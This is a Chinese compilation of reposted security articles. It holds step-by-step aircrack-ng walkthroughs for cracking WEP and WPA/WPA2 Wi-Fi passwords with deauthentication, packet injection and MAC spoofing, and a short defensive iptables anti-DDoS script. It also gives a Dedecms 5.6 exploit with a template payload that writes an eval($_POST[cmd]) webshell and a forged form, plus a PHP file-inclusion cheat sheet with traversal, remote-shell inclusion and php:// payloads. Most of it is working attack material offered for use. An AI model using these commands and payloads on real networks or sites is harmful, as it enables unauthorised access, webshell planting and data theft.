技术专题

Linux WEP测试解析

1、首先

ifconfig -a

查看自己的网卡,我的是eth1,也有的是WLAN

2、ifconfig -a eth1 up

驱动自己的网卡

3、airmon-ng start eth1 6

开启自己网卡的监听模式,频道号为你要破解的AP的频道号。查看的方法很多,我就不细说了。

4、airodump-ng –ivs -w result -c 6 eth1

开始抓包,–ivs代表只抓IVS包,此处是两个“-”-w代表写入文件,后面我写的是result即抓到的包都保存在以result为文件名的文件中,-c代表频道,这里是6。

5、开另一shell窗口

伪装连接 aireplay-ng -1 0 -e apID -a apmac -h 网卡mac eth1

成功后 aireplay-ng -3 -b -apmac -h  网卡mac -x 30 eth1

运行后会显示

read **** packets(got 0 arp requests),sent 0 packets…

大家不要着急,这是没有ARP包,耐心等待。不过我破的有的等到10W多还是没用,建议换个时间试试。

-x 30这个是关键,-x是指定注入速度,这里是30,一般资料都是 -x 1024,但实际上4311在BT3使用1024的注入速度,的确是可以的,能达到4、500,不过过不了1、2秒,就提示

write failed: Cannot allocate memory

wi_write(): Illegal seek

注入就停了。在论坛上看帖子有人说30就能稳定,经实验的确如此。大家可以尝试提高这个数值,看最大能到多少。毕竟30还是比较慢的,我室友看优酷都能到 70多,不用注入,一会儿就够了。

6、等DATA到了15000左右

开另一shell窗口

aircrack-ng -n 64 -b 网卡mac result*.ivs

即可,如果没出密码,就是DATA不够,继续等几W个,再次运行。我的经验是10位纯数字密码3W内90%会出。

 

WEP 破解

1) ifconfig -a

2) ifconfig 6

3) airodump-ng –ivs -w name -c 6 ath1

4) aireplay-ng -1 0 -e ap_essid -a ap_mac -h XXXXXXXXXX ath1

-1 is -one

5) aireplay-ng -5 -b ap_mac -h XXXXXXXXXX ath1

新的第5步: aireplay-ng -3 -b ap_mac -h XXXXXXXXXX -x 1024 ath1

6) packetforge-ng -0 -a ap_mac -h XXXXXXXXXX -k 255.255.255.255 -l 255.255.255.255 -y fragment-XXXXX-XXXXXX.xor -w mrarp

7) aireplay-ng -2 -r mrarp -x 1024 ath1

8) aircrack-ng -n 64 -b ap_mac name-01.ivs

一 打开shell窗口

二 查看网卡 ifconfig -a

三 加载驱动 ifconfig -a rausb0 up

四 输入命令 airmon-ng start rausb0 6

五 开始抓包 airodump-ng –ivs -w 123 -c 6 rausb0

PS:data>0 PWR>30 cipher=wep

六 新开shll窗口输入 aireplay-ng -1 0 -e TP-LINK -a 00:11:22:33:44:55 -h 00:99:88:77:66:55 rausb0

PS:路由名字MAC地址一定要参照显示大小写。00:11:22….对方mac。00:99:88….自己mac

看到笑脸 :-) 连接成功

七 开始攻击 aireplay-ng -5 -b 00:11:22:33:44:55 -h 00:99:88:77:66:55 rausb

如果正常,会提示:user this packet? 输入y。等一下会得到一个*.xor

八 产生一个注入攻击包。输入 ppacketforge-ng -0 -a 00:11:22:33:44:55 -h 00:99:88:77:66:55 -k 255.255.255.255 -l 255.255.255.255 -y foragment-0224-120114.xor(复制上面的) -w myarp

成功提示:wrote packet to:myarp

九 输入 aireplay-ng -2 -r myarp -x 1024 rausb0

成功提示:use this packet ? 输入y 此时data疯涨 到20000 开始破解

十 新开shll窗口输入 aircrack-ng *.ivs

 

以下一一解释:(运行这些命令都需要打开终端窗口,可以使用Ctrl+C 从文本文件Copy, 然后 Shift+Insert 粘贴入终端窗口)

1)ifconfig -a

这个命令用于找到自己的无线网卡的 Mac地址。请记录下来备用。

2) airmon-ng start wifi0 6(打开网卡的监控模式,不是所有的网卡都支持)

这个命令用于将自己的无线网卡置于Monitor 模式,即类似一个AP的效果,因此可以有抓别人包的功能。

其中 wifi0 是我电脑里面给无线网卡的 ,一般应该都是这个,第一个ifconfig -a命令可以看得到。

wifi0 后面的那个6 ,是需要破解的AP的频道,如果不知道,可以在事前左下角开始菜单里面,找到 第二项 Internet 下面的倒数第二个画着 无线网的一个工具,用它可以看到那些需要破解的AP的频道(Channel)。

运行命令成功以后,你会看到返回的提示显示出现一个 Ath1(如果你是 Athoes的无线网卡的话就是这个,其他的可能不同,不过一般都是XXX1这样)

这个就是你的用于破解的网卡代号

这个命令,简而言之,就是把你的无线网卡置于监控模式,并且指定监控的频道。

如果你发现弄错了频道,那么没关系,重新运行一遍就可以了,不过这个时候,可能就会变成 Ath2…Ath3 等等,但是好像最多运行三次,然后就会失败。

3) airodump-ng –ivs -w name -c 6 ath1

这个命令比较关键,你运行以后,就会列出所有该频道的AP。

其中,6 是指你需要监控的频道,必须和第二个命令里的一样, ath1是刚才第二步出现的别名。

这个命令运行以后,显示的内容比较多,简单介绍一下:

BSSID : 其实就是AP的Mac 地址

PWR: AP信号的大小,一般,低于10,就比较麻烦了,丢包情况严重,比较难破解

RXQ: 干扰的大小

Beacons:发送接受的包,参考信息,在跳说明有数据

#Data:这个比较重要,是接受到可以用来破解的特殊包,如果一直不变,那么,说明没有客户端连接,破解可能很麻烦,如果对方有大文件在下载,那么这个跳的速度非常快,10来分钟就可以有足够的包来破解了,如果跳得很慢,那么,就需要用一些特殊的方式来破解了。

CH:频道

MB:网络连接速度 54就是54MB

ENC, CIPHER,AUTH

这些是加密方式,我们这次只讨论显示为 WEP 和 WEP+ OPN的

如果显示 WPA TKIP 啥的,只能密码穷举破解,个人认为希望不大。

ESSID: 这个是AP的名字,需要用到的。如果是中文貌似会出问题。因此为了阻挡别人破解,可以用中文的ESSID

过一会儿,下面会显示哪些客户端连接到了哪些AP,针对有些Mac地址加密的,很容易模拟对方客户端的Mac从而骗进去,所以不要简单地相信Mac 限制功能。

这个窗口就开着好了,不用关闭,以后的命令,需要重新打开一个终端窗口操作。

4)aireplay-ng -1 0 -e ap_essid -a ap_mac -h XXXXXXXXXX ath1

这一步开始,我们要做一些真正的破解工作,主要是针对那些客户端仅仅连接,没什么流量的AP,这种AP,#Data的增长非常慢,往往需要很长的时间才有可能取得足够的包(一般5位的密码需要10000个包左右,更多的密码就要更多的。。。。)这个时候就需要 aireplay-ng 出面了,顾名思义,这个软件就是 Replay,也就是说,模拟发包。

 

首先解释命令:

-e ap_essid 就是 -e 之后加上你需要破解的essid ,比如 TP-LINK , linksys 啥的,注意大小写。

-a ap_mac 就是 -a 之后加上你需要破解的AP的Mac地址,第三步BSSID就可以看得到。不需要 :哦。

-h XXXXXXXXXX 就是 -h 之后,加上你的无线网卡的 Mac地址, 在第一步你可以得到。

ath1 ,上面解释过了。

一个样板例子:

aireplay-ng -1 0 -e TP-LINK -a 001900123456 -h 001900345678 ath1

这里有个小的建议,大家可以把以上的命令,都记录在一个文件里,然后把里面的XXXXXXXX都用自己的网卡Mac地址替换掉,这样就不需要每次都输入自己的Mac地址了。每次都可以用Copy Paste的方式来输入,这样可以有效防止什么1 和 l , O和0 的混淆。

这一条命令,是用欺骗的方式,连接上那个AP,因此,如果网络信号不好,可能会执行不成功。

如果成功了,那么会显示Successful :> 字样。否则,请让信号强度大于10。

5)aireplay-ng -5 -b ap_mac -h XXXXXXXXXX ath1

上一条成功以后,我们需要开始收集那些需要的数据包,才能够进行模拟,并且破解。

所谓的需要的数据包,就是 #Data的数据,如果 #Data一直是0,那么可能会很麻烦,最好的情况是 #Data缓慢增长的这种情况。

解释一下

-b ap_mac 就是你需要破解的AP的Mac 地址,从第三步那里的 BSSID可以找得到。

-h XXXXXXXXXX 就是你自己网卡的Mac地址。

Ath1 和上面一样。。。。。

这一条命令的执行,和#data包有关,如果#Data 没有增加,则这个命令会一直执行,直到捕获一个#Data包。

捕获以后,程序会问你是否需要用这个包来模拟攻击。回答Y即可。

如果攻击成功,则会显示成功,失败往往是因为信号太差造成的,如果攻击失败(往往是捕获的包有问题),程序重试N次以后,或自动重新开始捕捉包,继续进行即可。

等成功完成以后,会显示一个文件名:fragment-XXXXX-XXXXXX.xor

这个文件名,XXXXX里面是数字,是一个文件。马上会用得到。

这一步是最有可能失败的一步,尽量保持信号好一点。

6) packetforge-ng -0 -a ap_mac -h XXXXXXXXXX -k 255.255.255.255 -l 255.255.255.255 -y fragment-XXXXX-XXXXXX.xor -w mrarp

第六步,参数比较多,解释一下:

-a ap_mac 是待破解的AP的Mac地址,

-h XXXXXXXXX 是你自己的无线网卡Mac地址

fragment-XXXXX-XXXXXX.xor 就是第五步显示的那个文件名。

这一步会很快做完, 显示生成文件到 mrarp啥的,其实就是破解包的准备过程。

7) aireplay-ng -2 -r mrarp -x 1024 ath1

这一步没哈可以修改的,参数解释一下

ath1 是 你的无线网卡的名字

1024 是攻击速度,1024是最大值了,如果你的无线网卡不是MiniPCI的,个人建议设为 512 ,这样不容易死机。

当这一步开始执行,你会看到 第一个终端窗口里面,你破解的那个AP后面的 #Data在飞速增长,一般是 200个/s的速度,我们只需等待即可

8)我们可以新打开一个终端窗口,当 #Data达到 10000个的时候,就可以测试破解了,很多密码都可以 10000左右#Data就算出来

新窗口中运行:

aircrack-ng -n 64 -b ap_mac name-01.ivs

解释一下,

-b ap_mac 对方AP的Mac地址

name-01.ivs 其实是第三步自动生成的一个文件, 如果你多次运行了第三步,那么,可能会生成多个 name-XX.ivs文件,你可以到对应的文件夹里看一下(就在桌面上的第一个文件夹图标里),找到XX最大的那个,就是你当前正在使用的这个文件。

运行以后,如果运气好,一会儿就会显示破解出来的密码,同时会显示对应的Assic码,如果不是标准Assic码,就是一串数字,记录下来,搞掂。

运气不好的情况,这个程序会继续等待更多的#Data,等到了,就会重新计算一次密码。

不过呢,我也试过,30万个#Data都没能算出来,这个加密的兄弟真厉害。

 

小结一下:

本教程只针对 WEP 密码的破解,而且,最好有得到认证的客户端连接在这个AP上,如果没有,有些AP(比如TP-LINK)能够被破解,某些可能就无法破解。

本教程也提供了 模拟Mac地址从而破解 Mac限制的方法

如果你需要你的AP很难被破解,建议:

1)用WPA 加密方式,并且使用不可能被字典猜到的密码,目前还是基本可靠的

2)如果只支持 WEP加密,那么,尽量考虑用隐藏 SSID的方式,这样可以增加破解难度

3)如果只支持 WEP加密,那么,可以考虑使用中文名字作为SSID,这样基本问题不大。

4)一般破解时候,大家都会选择常用的频道,例如 6频道,第三步显示频道的时候,你的AP也会被列出来,那么第一个目标失败的时候,黑客往往会选择第二个容易下手的目标,但是如果你选择了8、 4、这些奇怪的频道,那么狠客往往懒得重新进入该频道的监控模式,你就可以逃过一劫。不过, 某些廉价AP,往往对6 频道做了优化,这个频道信号最强….这就没办法了。

5)有空换换你的密码:)

又注:联入网络以后,你可以管理他的AP,进行一些优化啥的,往往AP的密码,可能就是WEP的密码。

补充:

其中第5步:

aireplay-ng -5 -b ap_mac -h XXXXXXXXXX ath1 可以用新命令替代:

aireplay-ng -3 -b ap_mac -h XXXXXXXXXX -x 1024 ath1

这一条命令可以自动地捕捉包,自动的发送包,自动的存为文件.

因此,这一步执行以后,如果开始正确的发收包,则可以看到 Data开始上涨,不过貌似速度会慢一点,用老命令的话,每秒500个增加,用新命令可能只有200个/秒

当足够多的数据包出现以后,可以直接运行第八步,跳过6\7两步

实验用eeepc破解wpa/wpa2的密码!

先要说明,任何不经别人同意而进入别人网络多是非法和不道德的行为。

如要实验请拿自已的ap开刀……

环境:

os/puppy 301.

软件:aircrack 0.9.3

字典文档pass.txt

ap无线加密方式wpa2/psk

ap TP-LINK mac 00:00:00:00:00:00 频道 6

eeepc mac AA:AA:AA:AA:AA:AA (自已小e的网卡地址)

一个已连上ap的客户端 mac BB:BB:BB:BB:BB:BB

还有就是信号能足够好。(自已实验当然没问题)

开终端输入

airmon-ng stop ath0

airmon-ng start wifi0 6

(置无线网卡到Monitor模式,频道 6)

airodump-ng -c 6 –bssid 00:00:00:00:00:00 -w psk ath0

捕获4-way握手认证到psk文件

另开终端输入

aircrack-ng -w pass.txt -b 00:00:00:00:00:00 psk*.cap

挂上字典穷举

如这时有4-way握手认证数据捕获到会进入穷举窗口,否则会返回如下信息:

No valid WPA handshakes found

这时你可做要么继续等,要么输入:

aireplay-ng -0 1 -a 00:00:00:00:00:00 -c BB:BB:BB:BB:BB:BB ath0

强制客户端重新连结上ap,你可以多试几次!

wpa破解的关键还是字典文档了,也就是说这个8-63位的密码一定要在你的字典中,当然是自已写入就行了……..

另外用eeepc运算你会抓狂的,试了就知道了.

BT3下破解共享密钥认证的WEP密码!

当然先是制作BT3。

然后要做的一步相当的重要,那就是卸载你用来攻击的无线网卡,并更改它的MAC为AP的无线客户端的MAC,一定是要合法无线客户端的MAC,要不然很难成功。我的网卡名为WIFI1,大家可以用命令先看下自己的网卡名。(因为我的笔记本内置的网卡也是ATHEROS芯片的,但是破解没有成功,所以改用 ICOM 的SL-5200,此卡相当不错,支持a/b/g三频,而且支持到14频道,这个很难得。最后笔记本自带的网卡也成功破解了,证实是方法不当所致)

相应的命令为:

ifconfig –a

ifconfig –a wifi1 down

macchanger –m 00:1a:73:c5:31:e0 wifi1

这个命令中攻击用无线网卡的MAC必须用冒号隔开,这个命令以后对MAC的操作就不需要再用冒号隔开了,直接输数字和字母就可以了(十六进制)。

其中需要注意的就是这个伪装的MAC必须与AP的无线客户端相同,要不然很难成功,至少我是这样的。

ifconfig –a wifi1 up(加载攻击用无线网卡)

airmon-ng start wifi1 13

上面的13代表的是无线AP所工作的频道,2.4G WIFI用频率的最高频道为14频道。

图片中所示的“ath2”就是我们最后攻击所用的无线网卡的接口名。

准备工作完毕以后我们就可以开始了。

首先我们先开始收集ivs包。

相应的命令为:

airodump-ng – –ivs –w check – –bssid 00131004e526 –c 13 ath2

–ivs 表示只收集ivs包,

-w 后面表示收集ivs包所生成的文件名,但最后往往会在文件名后加上-01、-02等等,

–bssid 表示AP的MAC,这样做的好处就是只收集与这个MAC相对应的AP的ivs包,

-c 后面跟的AP的频道数。

这一步做完我们就可以开始正式的攻击了。

相应的攻击命令为:

aireplay-ng -0 1 –a 00131004e526 –c 001a73c5-31e0 ath2

-0 表示对无线客户端进行认证攻击,使无线客户端断线重连,以获得握手包。

1

表示攻击的次数,一般顺利的话1次就够了,不顺利的话攻击无数次都不成功,建议大家在纯的BT3下进行,VM下很难获得,我在VM做了N次,用 WUSB54G V4只获得过一次握手包。

-a 后面跟的是AP的MAC,

-c 后面跟的所要攻击的无线客户端的MAC,记住这个参数一定是要-c,不能是-h哦。

攻击成功后会在airodump-ng的窗口的右上角出现捕获握手包的提示,它所保存的文件是以AP的MAC命名的XOR文件,注意与后面构建 ARP包所必须的XOR文件相区别。

然后就是进行虚假认证攻击,相应的命令为:

aireplay-ng -1 0 –e LINKSYS –a 00131004e526 –y check-01-00-13-10-04-e5-26.xor ath2

-1 表示虚假认证攻击,

0 表示攻击延时,

-e 表示AP的ESSID,

-a 表示AP的MAC,

-y 表示捕获的握手包所生成的文件名。

看图中提示好像攻击只成功了一半,challenge是失败的,但是依然可以构建arp包,并成功进行注入攻击破解WEP密码。而且攻击会不断进行,我是用Ctrl+c来停止的。

然后就要开始进行-5攻击了,相应的命令为:

Aireplay-ng -5 –b 00131004e526 –h 001a73c531e0 ath2

出现“ Use this packet?”提示后输入“y”并回车。出现下面的画面就表示成功获得了构建arp包所必须的xor文件

获得xor文件以后我们就可以构建arp包了,相应的命令为:

packetforge-ng -0 –a 00131004e526 –h 001a73c531e0 –k 255.255.255.255 –l 255.255.255.255 –y fragment-0215-195944.xor –w arp

-l 是大写字母L的小写,不是1哦,

-y 后面跟的是构建arp包所必须的xor文件,

-w 后面跟的是构建的arp包所生成的文件名。

这一步以后我们就可以进行让DATA猛涨的注入式攻击了,相应的命令为:

aireplay-ng -2 –r arp –x 1024 ath2

-2 就是注入式攻击

-r 后面跟的是arp包文件名,

-x 定义所发送的攻击包的大小,最大为1024,默认为512,以大家可以稳定发送攻击包的大小为准,根据无线网卡的不同而不同。

大家可以看到一分钟的时间DATA数就从2万多增长到6万多了。

其实只要DATA数到大概5万的时候就可以开启实时破解了,相应的命令为:

aircrack-ng -n 128 *.ivs

最后说几句,大家输入命令的时候可以用键盘的“↑”“↓”来翻出以前输入过的命令,还有比如要反复输入的MAC可以用复制和粘贴来操作,这样可以方便许多。总之一句话,大家需要反复的实践才能获得你想要的知识,我就是在试了N次,试了N多的无线网卡才获得成功的,以前一直用的好好的的LINKSYS 的WUSB54G V4无线网卡居然死活不行,这个网卡可是WEP开放式、WPA、WPA2都成功破解过的啊,最后还是笔记本网卡成功的。实验过程中发现还是笔记本无线网卡来的好用,几乎不会出现攻击假死的情况,USB的经常碰到。

Ubuntu Linux无线密码破解利器Aircrack-ng

想必搞过破解的朋友们都会知道bt3 bt4等Linux下的无线破解工具吧,在Ubuntu Linux系统下同样有着一款破解功能强大的工具,那就是aircrack-ng。放这篇文章出来只是做技术上的交流,本人可不希望谁用这个做坏事儿哦~~~嘿嘿,破解开始咯:

测试平台 Y450 T6600 2.1G Ubuntu 10.04 成功

1.下载安装aircrack-ng,本人直接从源中安装的。

sudo apt-get install aircrack-ng

2.启动无线,这里本人需要说明一下,很多朋友的无线可能在Windows系统中是禁用或者是系统自带的电源管理系统中未开启无线的,这种情况下需要先在win状态下开启之后才能在Ubuntu中开启无线。开启完成后进入Ubuntu ,开一个终端,ifconfig -a看看wlan是否开启,开启正常可进行下一步。

3.准备工作完成,开始破解。开启终端①,

sudo airmon-ng start wlan0

sudo airodump-ng mon0

这时会看到无线的地址出现在屏幕上,这里有显示它们的mac地址以及所在频道。ok,ctrl+c退出,在这里我们选择类型为wep的无线为破解对象。我们需要记录它所在的频道以及mac地址。

4.开启终端②

sudo airodump-ng -c 频道 –bssid 目标主机mac -w wep mon0

这里的wep为默认的存包文件的名字,可以更改。

5.开启终端③

sudo aireplay-ng -1 0 -a 目标mac -h 本机MAC mon0

(本机的mac可以开启一个新的终端用ifconfig -a来查询)

这时会有成功字样显示,如果没有显示可能就是目标不支持或者系统部稳定,需要更换目标了。显示成功后进行下步。

6.继续输入sudo aireplay-ng -2 -F -p 0841 -c ff:ff:ff:ff:ff:ff -b 目标MAC -h 本机MAC mon0

此时终端②中的数据会增长很快,当数据到达5000的时候就可以破解了。

7.开启终端 ④

sudo aircrack-ng wep*.cap

这时就开始破解了,如果你进行过多组,可能会有多组结果,你可以用数字123进行选择,如果不出意外你已经破解出来这组无线的密码了。

8.最后 sudo airmon-ng stop mon0结束监控过程

( sudo airomon-ng check可以查看你开启了多少监控,如果运行多组的时候可以查看后选择关闭)。
from:www.nenew.net

功能强大的防DDOS攻击SHELL脚本【转】

这几天服务器一直受到DDOS的攻击,目前只能通过封IP来源来暂时解决。IP不源变化多端,光靠手工来添加简直是恶梦,想了个方法,用SHELL来做。

比较简单,但很实用:)  以下内容根据作者原文进行适当的修改:)

1.编写脚本
mkdir /root/bin

vi /root/bin/dropip.sh
#!/bin/bash
/bin/netstat -na|grep ESTABLISHED|awk ‘{print $5}’|awk -F: ‘{print $1}’|sort|uniq -c|sort -rn|head -10|grep -v -E ’192.168|127.0′|awk ‘{if ($2!=null && $1>4) {print $2}}’>/tmp/dropip

for i in $(cat /tmp/dropip)
do
/sbin/iptables -A INPUT -s $i -j DROP
echo “$i kill at `date`”>>/var/log/ddos
done

2.增加执行权限
chmod +x /root/bin/dropip.sh

3.添加到计划任务,每分钟执行一次
crontab -e
*/1 * * * * /root/bin/dropip.sh

说明:
以上脚本比较简单,但很实用,最重要的是第二行,获取ESTABLISHED连接数最多的前10个ip并写入临时文件/tmp/dropip,排除了内部ip段192.168|127.0开头的.通过for循环将dropip里面的ip通过iptables全部drop掉,然后写到日志文件/var/log/ddos

原文:
http://blog.liuts.com/post/101/#topreply

Dedecms <= V5.6 Final模板执行漏洞

一、漏洞介绍:

Dedecms V5.6 Final版本中的各个文件存在一系列问题,经过精心构造的含有恶意代表的模板内容可以通过用户后台的上传附件的功能上传上去,然后通过SQL注入修改附加表的模板路径为我们上传的模板路径,模板解析类:include/inc_archives_view.php没有对模板路径及名称做任何限制,则可以成功执行恶意代码。

二、漏洞细节:

1、member/article_edit.php文件(注入):

//漏洞在member文件夹下普遍存在,$dede_addonfields是由用户提交的,可以被伪造,伪造成功即可带入sql语句,于是我们可以给附加表的内容进行update赋值。


//分析处理附加表数据
    $inadd_f = '';
    if(!empty($dede_addonfields))//自己构造$dede_addonfields
    {
        $addonfields = explode(';',$dede_addonfields);
        if(is_array($addonfields))
        {
            print_r($addonfields);
            foreach($addonfields as $v)
            {
                if($v=='')
                {
                    continue;
                }
                $vs = explode(',',$v);
                if(!isset(${$vs[0]}))
                {
                    ${$vs[0]} = '';
                }
                ${$vs[0]} = GetFieldValueA(${$vs[0]},$vs[1],$aid);
                $inadd_f .= ','.$vs[0]." ='".${$vs[0]}."' ";
                echo $inadd_f;
            }
        }
    }

if($addtable!='')
    {
        $upQuery = "Update `$addtable` set typeid='$typeid',body='$body'{$inadd_f},userip='$userip' where aid='$aid' ";

//执行构造的sql
        if(!$dsql->ExecuteNoneQuery($upQuery))
        {
            ShowMsg("更新附加表 `$addtable`  时出错,请联系管理员!","javascript:;");
            exit();
        }
    }

2、include/inc_archives_view.php:

//这是模板处理类,如果附加表的模板路径存在,直接从附加表取值;GetTempletFile获取模板文件的方法就是取的此处的模板路径,从来带进去解析。


//issystem==-1 表示单表模型,单表模型不支持redirecturl这类参数,因此限定内容普通模型才进行下面查询
            if($this->ChannelUnit->ChannelInfos['addtable']!='' && $this->ChannelUnit->ChannelInfos['issystem']!=-1)
            {
                if(is_array($this->addTableRow))
                {
                    $this->Fields['redirecturl'] = $this->addTableRow['redirecturl'];
                    $this->Fields['templet'] = $this->addTableRow['templet'];//取值
                    $this->Fields['userip'] = $this->addTableRow['userip'];
                }
                $this->Fields['templet'] = (empty($this->Fields['templet']) ? '' : trim($this->Fields['templet']));
                $this->Fields['redirecturl'] = (empty($this->Fields['redirecturl']) ? '' : trim($this->Fields['redirecturl']));
                $this->Fields['userip'] = (empty($this->Fields['userip']) ? '' : trim($this->Fields['userip']));
            }
            else
            {
                $this->Fields['templet'] = $this->Fields['redirecturl'] = '';
            }

    //获得模板文件位置
    function GetTempletFile()
    {
        global $cfg_basedir,$cfg_templets_dir,$cfg_df_style;
        $cid = $this->ChannelUnit->ChannelInfos['nid'];
        if(!empty($this->Fields['templet']))
        {
            $filetag = MfTemplet($this->Fields['templet']);
            if( !ereg('/', $filetag) ) $filetag = $GLOBALS['cfg_df_style'].'/'.$filetag;
        }
        else
        {
            $filetag = MfTemplet($this->TypeLink->TypeInfos["temparticle"]);
        }
        $tid = $this->Fields['typeid'];
        $filetag = str_replace('{cid}', $cid,$filetag);
        $filetag = str_replace('{tid}', $tid,$filetag);
        $tmpfile = $cfg_basedir.$cfg_templets_dir.'/'.$filetag;
        if($cid=='spec')
        {
            if( !empty($this->Fields['templet']) )
            {
                $tmpfile = $cfg_basedir.$cfg_templets_dir.'/'.$filetag;
            }
            else
            {
                $tmpfile = $cfg_basedir.$cfg_templets_dir."/{$cfg_df_style}/article_spec.htm";
            }
        }
        if(!file_exists($tmpfile))
        {
            $tmpfile = $cfg_basedir.$cfg_templets_dir."/{$cfg_df_style}/".($cid=='spec' ? 'article_spec.htm' : 'article_default.htm');
        }
        return $tmpfile;
    }

三、漏洞利用:

1.上传一个模板文件:

注册一个用户,进入用户管理后台,发表一篇文章,上传一个图片,然后在附件管理里,把图片替换为我们精心构造的模板,比如图片名称是:
uploads/userup/2/12OMX04-15A.jpg

模板内容是(如果限制图片格式,加gif89a):
{dede:name runphp=’yes’}
$fp = @fopen("1.php", ‘a’);
@fwrite($fp, ‘<’.'?php’."\r\n\r\n".’eval($_POST[cmd])’."\r\n\r\n?".">\r\n");
@fclose($fp);
{/dede:name}

2.修改刚刚发表的文章,查看源文件,构造一个表单:

<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action=http://127.0.0.1/dede/member/article_edit.php 

method="post" enctype="multipart/form-data" onsubmit="return checkSubmit();">
<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1275972263" />
<div id="mainCp">
<h3 class="meTitle"><strong>修改文章</strong></h3>
<div class="postForm">
<label>标题:</label>
<input  name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>
<label>标签TAG:</label>
<input name="tags" type="text" id="tags"  value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)
<label>作者:</label>
<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>
<label>隶属栏目:</label>
<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>测试栏目</option>
</select>            <span style="color:#F00">*</span>(不能选择带颜色的分类)
<label>我的分类:</label>
<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>hahahha</option>
</select>
<label>信息摘要:</label>
<textarea name="description" id="description">1111111</textarea>
(内容的简要说明)
<label>缩略图:</label>
<input name="litpic" type="file" id="litpic" onchange="SeePicNew('divpicview',this);"  maxlength="100" class="intxt"/>
<input type='text' name='templet'
value="../ uploads/userup/2/12OMX04-15A.jpg">
<input type='text' name='dede_addonfields'
value="templet,htmltext;">(这里构造)
</div>
<!-- 表单操作区域 -->
<h3 class="meTitle">详细内容</h3>
<div class="contentShow postForm">
<input type="hidden" id="body" name="body" value="&lt;div&gt;&lt;a href=&quot;

http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; alt=&quot;&quot; src=&quot;

http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg&quot; width=&quot;1010&quot; height=&quot;456&quot; /&gt;&lt;/a&gt;&lt;/div&gt; &lt;p&gt;&amp;lt;?phpinfo()?&amp;gt;1111111&lt;/p&gt;" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false"

style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&amp;Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>
<label>验证码:</label>
<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
<img src="http://127.0.0.1/dede/include/vdimgck.php" alt="看不清?点击更换" align="absmiddle" style="cursor:pointer" onclick="this.src=this.src+'?'" />
<button class="button2" type="submit">提交</button>
<button class="button2 ml10" type="reset" onclick="location.reload();">重置</button>
</div>
</div>
</form>

提交,提示修改成功,则我们已经成功修改模板路径。

3.访问修改的文章:

假设刚刚修改的文章的aid为2,则我们只需要访问:
http://127.0.0.1/dede/plus/view.php?aid=2
即可以在plus目录下生成小马:1.php

注:
漏洞很早就存在了,民间隐藏的扫地僧估计也很早就看到了,但一直只是地下潜伏或者地下使用,直到上个月初有人找我分析IIS日志的时候,我才看到,还着实分析了一会代码。因为漏洞危害比较大,所以一直没敢公布或者将细节告诉谁,只在hi群跟黑哥与flyh4t说了下,在t00ls群跟小明说了下,今天看到toby57(http://hi.baidu.com/toby57/blog/item/686b70ece294cfdc2f2e2183.html)与小明(http://hi.baidu.com/mr_xhming/blog/item/5e1368b2dea0bbaad9335ab2.html)公布了,于是我也只好把一个月前的文章发出来了~~~

 

from:http://www.oldjun.com/blog/index.php/archives/70/

PHP文件包含漏洞利用 – 概述

这是一个关于PHP文件包含漏洞的一个小的总结,来自Reiners’ Weblog。这些技巧可能以前在很多地方都可以看到,但他把它整理规范了,方便收藏与阅读。
小译:wpulog

基本的文件包含漏洞:
code : <?php include("includes/" . $_GET['file']); ?>
    * 包含同路径下的文件:
      ?file=.htaccess
    * 路径遍历:
      ?file=../../../../../../../../../var/lib/locate.db
      (该文件非常有趣因为它允许你搜索文件系统)
    * 包含注入PHP代码的文件:
      ?file=../../../../../../../../../var/log/apache/error.log
      (you can find other possible Apache dirs here and other ways here. Think about all possible logfiles, file uploads, session files etc.)
受限的本地文件包含:
code : <?php include("includes/" . $_GET['file'] . ".htm"); ?>
    * 空字符注入(Null Byte Injection):
      ?file=../../../../../../../../../etc/passwd%00
      (需要magic_quotes_gpc=off)
    * 列目录(Null Byte Injection):
      ?file=../../../../../../../../../var/www/accounts/%00
      (仅限BSD, 需要magic_quotes_gpc=off,详细信息here)

    *路径截断(Path Truncation):
      ?file=../../../../../../../../../etc/passwd.\.\.\.\.\.\.\.\.\.\.\ …
      (详细信息参见 herehere)
    * 点号截断:
      ?file=../../../../../../../../../etc/passwd……………. …
      (仅限Windows, 更多细节参见 here)
基本的远程文件包含:
code : <?php include($_GET['file']); ?>
    * 包含远程代码(Including Remote Code):
      ?file=[http|https|ftp]://websec.wordpress.com/shell.txt
      (需要 allow_url_fopen=On 和 allow_url_include=On)
    * 使用php输入流(Using PHP stream php://input):
      ?file=php://input
      (specify your payload in the POST parameters, watch urlencoding, details here, requires allow_url_include=On)
    * 使用PHP过滤函数(Using PHP stream php://filter):
      ?file=php://filter/convert.base64-encode/resource=index.php
      (lets you read PHP source because it wont get evaluated in base64. More details here and here)

    * Using data URIs:
      ?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=
      (需要 allow_url_include=On)
    * 用于跨站脚本攻击(Using XSS):
      ?file=http://127.0.0.1/path/xss.php?xss=phpcode
      (makes sense if firewalled or only whitelisted domains allowed)
受限的远程文件包含漏洞
code : <?php include($_GET['file'] . ".htm"); ?>
    * ?file=http://websec.wordpress.com/shell
    * ?file=http://websec.wordpress.com/shell.txt?
    * ?file=http://websec.wordpress.com/shell.txt%23
      (需要 allow_url_fopen=On 和 allow_url_include=On)
静态远程文件包含漏洞:
code : <?php include("http://192.168.1.10/config.php"); ?>
    * 中间人攻击(Man In The Middle)
      (lame indeed, but often forgotten)

[+]Reference:
~~~~~~~~~

英文原文地址:http://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/

